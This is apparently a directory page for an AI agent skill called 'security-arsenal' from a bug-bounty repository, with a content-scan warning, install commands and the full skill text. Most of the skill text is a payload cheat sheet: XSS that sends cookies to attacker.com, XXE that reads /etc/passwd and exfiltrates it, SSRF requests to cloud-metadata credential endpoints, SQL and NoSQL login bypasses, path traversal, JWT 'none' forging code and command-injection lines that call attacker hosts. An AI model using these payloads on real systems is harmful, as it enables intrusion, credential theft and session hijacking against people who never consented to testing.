security-arsenal skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, or bypass techniques. Submittability and the always-rejected / what-NOT-to-submit decision are owned by triage-validation.

D40/100content scan

Is the security-arsenal skill safe?

Serious findings: read the flagged lines first. We read 1 file in the folder on 2026-09-28.

highSKILL.md:182
Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
```
highSKILL.md:189
Sends data to a throwaway collection endpoint (request bins, webhooks, tunnels).
```
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
```

Install the security-arsenal skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. Read the findings above first.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/security-arsenal ~/.claude/skills/security-arsenal

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

SECURITY ARSENAL

Payloads, bypass tables, wordlists, and submission rules.

XSS PAYLOADS

Basic Probes

<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(document.domain)

Cookie Theft (proof of impact)

<script>document.location='https://attacker.com/c?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
<script>fetch('https://attacker.com?c='+btoa(document.cookie))</script>

CSP Bypass Techniques

// If unsafe-inline blocked — use fetch/XHR
<img src=x onerror="fetch('https://attacker.com?d='+btoa(document.cookie))">

// If script-src nonce present — find nonce reflection
<script nonce="NONCE_FROM_PAGE">alert(1)</script>

// Angular template injection (bypasses many CSPs)
{{constructor.constructor('alert(1)')()}}

// React dangerouslySetInnerHTML reflection
// Vue v-html binding

// mXSS (mutation-based XSS)
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

// Polyglot (works in HTML/JS/CSS context)
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>

DOM XSS Sources and Sinks

// Sources (user-controlled input)
location.hash
location.search
location.href
document.referrer
window.name
document.URL

// Sinks (dangerous)
innerHTML = SOURCE
outerHTML = SOURCE
document.write(SOURCE)
eval(SOURCE)
setTimeout(SOURCE, ...)   // string form
setInterval(SOURCE, ...)
new Function(SOURCE)
element.src = SOURCE      // javascript: URI
element.href = SOURCE
location.href = SOURCE

SSRF PAYLOADS

Cloud Metadata

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header: Metadata: true

Internal Service Fingerprinting

http://localhost:6379      # Redis (unauthenticated, RESP protocol)
http://localhost:9200      # Elasticsearch (/_cat/indices)
http://localhost:27017     # MongoDB (binary — check for connection refused vs timeout)
http://localhost:8080      # Admin panel
http://localhost:2375      # Docker API — GET /containers/json
http://localhost:10.96.0.1:443  # Kubernetes API server

SSRF IP Bypass Payloads

# All of these map to 127.0.0.1:
http://2130706433          # decimal
http://0177.0.0.1          # octal
http://0x7f.0x0.0x0.0x1   # hex
http://127.1               # short form
http://[::1]               # IPv6 loopback
http://[::ffff:127.0.0.1]  # IPv4-mapped IPv6
http://[::ffff:0x7f000001] # mixed hex IPv6

# DNS rebinding: A→external, then resolves to internal after allowlist check

# Redirect chain (Vercel pattern):
# If filter only checks initial URL but follows redirects:
http://allowed-domain.com/redirect?to=http://169.254.169.254/

SQL INJECTION PAYLOADS

Detection

'
''
`
')
'))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' UNION SELECT NULL--
'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based
'; SELECT SLEEP(5)--          -- MySQL time-based
' OR SLEEP(5)--

Union-Based (determine column count)

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

Blind SQLi (time-based confirmation)

# MySQL
' AND SLEEP(5)--
# PostgreSQL
' AND pg_sleep(5)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=dbms_pipe.receive_message('a',5)--

WAF Bypass

/*!50000 SELECT*/ * FROM users     -- MySQL inline comment
SE/**/LECT * FROM users             -- comment injection
SeLeCt * FrOm uSeRs                -- case variation
%27 OR %271%27=%271                 -- URL encoding
ʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe

XXE PAYLOADS

Classic File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Blind OOB via HTTP (DNS confirmation)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.burpcollaborator.net/xxe">]>
<foo>&xxe;</foo>

Blind OOB via DNS + Data Exfil

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % data SYSTEM "file:///etc/passwd">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
  %param1;
]>
<foo>&exfil;</foo>

XXE via DOCX/SVG/PDF Upload

SVG:
DOCX: malicious XML in word/document.xml with external entity

PATH TRAVERSAL PAYLOADS

../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd   # double URL encoding
/etc/passwd%00.jpg                     # null byte truncation
....\/....\/etc/passwd                 # mix of separators

IDOR / AUTH BYPASS PAYLOADS

Horizontal Privilege Escalation

# Change numeric ID
GET /api/user/123/profile → GET /api/user/124/profile

# Change UUID (find victim UUID via other endpoints)
GET /api/profile/a1b2c3d4-... → GET /api/profile/e5f6g7h8-...

# HTTP method swap
PUT /api/user/123 (protected) → DELETE /api/user/123 (not protected)

# Old API version
GET /v2/users/123 (protected) → GET /v1/users/123 (not protected)

# Add parameter
GET /api/orders → GET /api/orders?user_id=456

Vertical Privilege Escalation

# Parameter pollution
POST /api/user/update
{"role": "admin"}
{"isAdmin": true}
{"admin": 1}

# Hidden fields
<input type="hidden" name="admin" value="true">
# Change in Burp before sending

# GraphQL introspection → find admin mutations
{"query": "{ __schema { types { name fields { name } } } }"}

AUTHENTICATION BYPASS PAYLOADS

JWT Attacks

# None algorithm
# Decode JWT, change alg to "none", remove signature
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"sub":"1","role":"admin"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."

# Secret bruteforce
hashcat -a 0 -m 16500 jwt.txt ~/wordlists/rockyou.txt

OAuth Attacks

# Missing PKCE test
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# No code_challenge → check if 302 (not error) = PKCE not enforced

# State parameter check
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z
# Missing/static state parameter = CSRF on OAuth = account linkage attack

NOSQL INJECTION PAYLOADS (MongoDB)

Operator Injection (JSON body)

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": "admin", "password": {"$gt": ""}}
{"$where": "this.username == 'admin'"}
{"username": {"$in": ["admin", "root", "administrator"]}}

GET Parameter Injection

# URL parameter injection
/login?username[$ne]=null&password[$ne]=null
/login?username[$regex]=.*&password[$regex]=.*
/login?username=admin&password[$gt]=

# MongoDB operator reference:
# $ne = not equal (bypass: value != null = any value matches)
# $gt = greater than (bypass: "" < any string)
# $regex = regex match (bypass: .* = anything)
# $where = JS expression (RCE potential on older MongoDB)

Auth Bypass One-Liners

curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

# URL-encoded for GET forms:
# username%5B%24ne%5D=null&password%5B%24ne%5D=null

COMMAND INJECTION PAYLOADS

Basic Detection

; id
| id
` id `
$(id)
&& id
|| id
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`

Blind OOB (out-of-band confirmation)

; curl https://attacker.burpcollaborator.net
; nslookup attacker.burpcollaborator.net
$(nslookup attacker.burpcollaborator.net)
`ping -c 1 attacker.burpcollaborator.net`
; wget https://attacker.com/$(id|base64)

More skills from elementalsouls/Claude-BugHunter

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Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
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Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
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Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.

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